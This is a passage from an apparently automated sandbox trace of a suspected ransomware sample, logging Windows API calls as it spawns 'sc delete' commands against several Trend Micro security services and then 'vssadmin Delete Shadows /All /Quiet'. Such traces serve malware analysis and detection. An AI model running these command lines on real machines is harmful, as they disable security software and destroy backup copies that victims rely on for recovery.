(_String1="delete", _String2="interrogate") returned -5 [0073.827] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.827] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.827] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.827] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.827] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.827] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.827] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.827] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.827] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.827] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.827] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.827] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.827] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.827] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.828] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.828] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.828] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.828] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.828] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.828] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.828] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.828] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.828] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.828] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1e4370 [0073.832] OpenServiceW (hSCManager=0x1e4370, lpServiceName="TmCCSF", dwDesiredAccess=0x10000) returned 0x0 [0073.833] GetLastError () returned 0x424 [0073.833] _itow (in: _Dest=0x424, _Radix=1244536 | out: _Dest=0x424) returned="1060" [0073.833] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffa7b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.835] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x12fd30, nSize=0x2, Arguments=0x12fd60 | out: lpBuffer="跀\x1e") returned 0x62 [0073.835] GetFileType (hFile=0x120) returned 0x3 [0073.835] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1e8ea0 [0073.835] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1e8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1e", lpUsedDefaultChar=0x0) returned 98 [0073.835] WriteFile (in: hFile=0x120, lpBuffer=0x1e8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x12fcd8, lpOverlapped=0x0 | out: lpBuffer=0x1e8ea0*, lpNumberOfBytesWritten=0x12fcd8*=0x62, lpOverlapped=0x0) returned 1 [0073.835] LocalFree (hMem=0x1e8ea0) returned 0x0 [0073.835] LocalFree (hMem=0x1e8dc0) returned 0x0 [0073.835] LocalFree (hMem=0x0) returned 0x0 [0073.835] CloseServiceHandle (hSCObject=0x1e4370) returned 1 [0073.837] exit (_Code=1060) Thread: id = 123 os_tid = 0xa04 Process: id = "62" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3da11000" os_pid = "0x570" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete tmlisten" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 124 os_tid = 0xa14 [0073.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efbf0 | out: lpSystemTimeAsFileTime=0x1efbf0*(dwLowDateTime=0x43d674d0, dwHighDateTime=0x1d62774)) [0073.889] GetCurrentProcessId () returned 0x570 [0073.889] GetCurrentThreadId () returned 0xa14 [0073.889] GetTickCount () returned 0x1149c5f [0073.889] QueryPerformanceCounter (in: lpPerformanceCount=0x1efbf8 | out: lpPerformanceCount=0x1efbf8*=19356485542) returned 1 [0073.890] GetModuleHandleW (lpModuleName=0x0) returned 0xfffa0000 [0073.891] __set_app_type (_Type=0x1) [0073.891] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffa7228) returned 0x0 [0073.891] __wgetmainargs (in: _Argc=0xfffab604, _Argv=0xfffab610, _Env=0xfffab608, _DoWildCard=0, _StartInfo=0xfffab050 | out: _Argc=0xfffab604, _Argv=0xfffab610, _Env=0xfffab608) returned 0 [0073.892] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.894] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.894] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.895] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.895] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.895] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.895] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.895] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.895] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.895] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.895] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.895] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.895] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.895] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.895] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.895] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.895] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.895] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.895] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.895] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.895] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.895] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.896] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x354370 [0073.900] OpenServiceW (hSCManager=0x354370, lpServiceName="tmlisten", dwDesiredAccess=0x10000) returned 0x0 [0073.900] GetLastError () returned 0x424 [0073.900] _itow (in: _Dest=0x424, _Radix=2030168 | out: _Dest=0x424) returned="1060" [0073.900] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfffab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.902] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1efa10, nSize=0x2, Arguments=0x1efa40 | out: lpBuffer="跀5") returned 0x62 [0073.903] GetFileType (hFile=0x120) returned 0x3 [0073.903] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x358ea0 [0073.903] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x358ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n5", lpUsedDefaultChar=0x0) returned 98 [0073.903] WriteFile (in: hFile=0x120, lpBuffer=0x358ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1ef9b8, lpOverlapped=0x0 | out: lpBuffer=0x358ea0*, lpNumberOfBytesWritten=0x1ef9b8*=0x62, lpOverlapped=0x0) returned 1 [0073.903] LocalFree (hMem=0x358ea0) returned 0x0 [0073.903] LocalFree (hMem=0x358dc0) returned 0x0 [0073.903] LocalFree (hMem=0x0) returned 0x0 [0073.903] CloseServiceHandle (hSCObject=0x354370) returned 1 [0073.905] exit (_Code=1060) Thread: id = 125 os_tid = 0xb28 Process: id = "63" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f316000" os_pid = "0xb74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete TmProxy" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 126 os_tid = 0xaec [0073.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfd90 | out: lpSystemTimeAsFileTime=0xcfd90*(dwLowDateTime=0x43e25bb0, dwHighDateTime=0x1d62774)) [0073.966] GetCurrentProcessId () returned 0xb74 [0073.966] GetCurrentThreadId () returned 0xaec [0073.966] GetTickCount () returned 0x1149cad [0073.966] QueryPerformanceCounter (in: lpPerformanceCount=0xcfd98 | out: lpPerformanceCount=0xcfd98*=19364177104) returned 1 [0073.967] GetModuleHandleW (lpModuleName=0x0) returned 0xfff30000 [0073.968] __set_app_type (_Type=0x1) [0073.968] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfff37228) returned 0x0 [0073.968] __wgetmainargs (in: _Argc=0xfff3b604, _Argv=0xfff3b610, _Env=0xfff3b608, _DoWildCard=0, _StartInfo=0xfff3b050 | out: _Argc=0xfff3b604, _Argv=0xfff3b610, _Env=0xfff3b608) returned 0 [0073.969] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.973] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.973] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.973] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.973] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.973] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.973] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.973] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.973] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.973] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.973] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.973] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.973] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.973] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.973] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.973] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.973] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.973] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.973] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.974] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.974] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.974] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.974] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.974] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.974] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.974] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.974] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.974] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.974] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.974] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.974] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.974] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.974] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x234370 [0073.978] OpenServiceW (hSCManager=0x234370, lpServiceName="TmProxy", dwDesiredAccess=0x10000) returned 0x0 [0073.979] GetLastError () returned 0x424 [0073.979] _itow (in: _Dest=0x424, _Radix=850936 | out: _Dest=0x424) returned="1060" [0073.979] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfff3b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.981] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcfbb0, nSize=0x2, Arguments=0xcfbe0 | out: lpBuffer="跀#") returned 0x62 [0073.982] GetFileType (hFile=0x120) returned 0x3 [0073.982] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x238ea0 [0073.982] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x238ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n#", lpUsedDefaultChar=0x0) returned 98 [0073.982] WriteFile (in: hFile=0x120, lpBuffer=0x238ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcfb58, lpOverlapped=0x0 | out: lpBuffer=0x238ea0*, lpNumberOfBytesWritten=0xcfb58*=0x62, lpOverlapped=0x0) returned 1 [0073.982] LocalFree (hMem=0x238ea0) returned 0x0 [0073.982] LocalFree (hMem=0x238dc0) returned 0x0 [0073.982] LocalFree (hMem=0x0) returned 0x0 [0073.982] CloseServiceHandle (hSCObject=0x234370) returned 1 [0073.985] exit (_Code=1060) Thread: id = 127 os_tid = 0xb84 Process: id = "64" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f11b000" os_pid = "0xb34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete ntrtscan" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 128 os_tid = 0xacc [0074.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fc90 | out: lpSystemTimeAsFileTime=0x24fc90*(dwLowDateTime=0x43f566b0, dwHighDateTime=0x1d62774)) [0074.095] GetCurrentProcessId () returned 0xb34 [0074.095] GetCurrentThreadId () returned 0xacc [0074.095] GetTickCount () returned 0x1149d2a [0074.095] QueryPerformanceCounter (in: lpPerformanceCount=0x24fc98 | out: lpPerformanceCount=0x24fc98*=19377081745) returned 1 [0074.097] GetModuleHandleW (lpModuleName=0x0) returned 0xff600000 [0074.098] __set_app_type (_Type=0x1) [0074.098] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff607228) returned 0x0 [0074.098] __wgetmainargs (in: _Argc=0xff60b604, _Argv=0xff60b610, _Env=0xff60b608, _DoWildCard=0, _StartInfo=0xff60b050 | out: _Argc=0xff60b604, _Argv=0xff60b610, _Env=0xff60b608) returned 0 [0074.099] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.101] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0074.101] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0074.101] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0074.101] _wcsicmp (_String1="delete", _String2="query") returned -13 [0074.101] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0074.101] _wcsicmp (_String1="delete", _String2="start") returned -15 [0074.101] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0074.101] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0074.101] _wcsicmp (_String1="delete", _String2="control") returned 1 [0074.101] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0074.101] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0074.101] _wcsicmp (_String1="delete", _String2="config") returned 1 [0074.101] _wcsicmp (_String1="delete", _String2="description") returned -7 [0074.102] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0074.102] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0074.102] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0074.102] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0074.102] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0074.102] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0074.102] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0074.102] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0074.102] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0074.102] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0074.102] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0074.102] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0074.102] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0074.102] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0074.102] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0074.102] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0074.102] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0074.102] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0074.102] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x324370 [0074.107] OpenServiceW (hSCManager=0x324370, lpServiceName="ntrtscan", dwDesiredAccess=0x10000) returned 0x0 [0074.107] GetLastError () returned 0x424 [0074.107] _itow (in: _Dest=0x424, _Radix=2423544 | out: _Dest=0x424) returned="1060" [0074.107] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff60b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0074.109] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24fab0, nSize=0x2, Arguments=0x24fae0 | out: lpBuffer="跀2") returned 0x62 [0074.110] GetFileType (hFile=0x120) returned 0x3 [0074.110] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x328ea0 [0074.110] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x328ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n2", lpUsedDefaultChar=0x0) returned 98 [0074.110] WriteFile (in: hFile=0x120, lpBuffer=0x328ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24fa58, lpOverlapped=0x0 | out: lpBuffer=0x328ea0*, lpNumberOfBytesWritten=0x24fa58*=0x62, lpOverlapped=0x0) returned 1 [0074.110] LocalFree (hMem=0x328ea0) returned 0x0 [0074.110] LocalFree (hMem=0x328dc0) returned 0x0 [0074.110] LocalFree (hMem=0x0) returned 0x0 [0074.110] CloseServiceHandle (hSCObject=0x324370) returned 1 [0074.114] exit (_Code=1060) Thread: id = 129 os_tid = 0xaa0 Process: id = "65" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e220000" os_pid = "0x60c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete ofcservice" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 130 os_tid = 0xb48 [0074.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcf9f0 | out: lpSystemTimeAsFileTime=0xcf9f0*(dwLowDateTime=0x44014d90, dwHighDateTime=0x1d62774)) [0074.167] GetCurrentProcessId () returned 0x60c [0074.167] GetCurrentThreadId () returned 0xb48 [0074.167] GetTickCount () returned 0x1149d78 [0074.167] QueryPerformanceCounter (in: lpPerformanceCount=0xcf9f8 | out: lpPerformanceCount=0xcf9f8*=19384269730) returned 1 [0074.167] GetModuleHandleW (lpModuleName=0x0) returned 0xff2e0000 [0074.167] __set_app_type (_Type=0x1) [0074.167] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2e7228) returned 0x0 [0074.168] __wgetmainargs (in: _Argc=0xff2eb604, _Argv=0xff2eb610, _Env=0xff2eb608, _DoWildCard=0, _StartInfo=0xff2eb050 | out: _Argc=0xff2eb604, _Argv=0xff2eb610, _Env=0xff2eb608) returned 0 [0074.168] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.171] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0074.171] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0074.171] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0074.171] _wcsicmp (_String1="delete", _String2="query") returned -13 [0074.171] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0074.171] _wcsicmp (_String1="delete", _String2="start") returned -15 [0074.171] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0074.171] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0074.171] _wcsicmp (_String1="delete", _String2="control") returned 1 [0074.171] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0074.171] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0074.171] _wcsicmp (_String1="delete", _String2="config") returned 1 [0074.171] _wcsicmp (_String1="delete", _String2="description") returned -7 [0074.171] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0074.172] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0074.172] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0074.172] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0074.172] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0074.172] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0074.172] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0074.172] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0074.172] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0074.172] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0074.172] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0074.172] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0074.172] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0074.172] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0074.172] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0074.172] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0074.172] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0074.172] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0074.172] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1a4370 [0074.176] OpenServiceW (hSCManager=0x1a4370, lpServiceName="ofcservice", dwDesiredAccess=0x10000) returned 0x0 [0074.177] GetLastError () returned 0x424 [0074.177] _itow (in: _Dest=0x424, _Radix=850008 | out: _Dest=0x424) returned="1060" [0074.177] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff2eb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0074.179] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcf810, nSize=0x2, Arguments=0xcf840 | out: lpBuffer="跀\x1a") returned 0x62 [0074.179] GetFileType (hFile=0x120) returned 0x3 [0074.179] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1a8ea0 [0074.179] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1a8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1a", lpUsedDefaultChar=0x0) returned 98 [0074.179] WriteFile (in: hFile=0x120, lpBuffer=0x1a8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcf7b8, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea0*, lpNumberOfBytesWritten=0xcf7b8*=0x62, lpOverlapped=0x0) returned 1 [0074.179] LocalFree (hMem=0x1a8ea0) returned 0x0 [0074.179] LocalFree (hMem=0x1a8dc0) returned 0x0 [0074.179] LocalFree (hMem=0x0) returned 0x0 [0074.180] CloseServiceHandle (hSCObject=0x1a4370) returned 1 [0074.182] exit (_Code=1060) Thread: id = 131 os_tid = 0xb70 Process: id = "66" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3df26000" os_pid = "0xa98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT 